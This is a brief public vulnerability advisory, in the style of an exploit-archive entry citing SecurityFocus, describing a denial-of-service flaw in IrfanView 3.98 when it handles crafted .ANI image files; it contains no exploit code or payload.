IrfanView 3.98 - '.ANI' Image File Denial of Service

source: https://www.securityfocus.com/bid/19452/info

IrfanView is prone to a denial-of-service vulnerability. 

A remote attacker may crash the application, resulting in denial-of-service conditions to legitimate users. 

This issue may potentially be exploited to execute arbitrary machine code, but this has not been
confirmed.

Version 3.98.0 is vulnerable to this issue; other versions may also be affected.
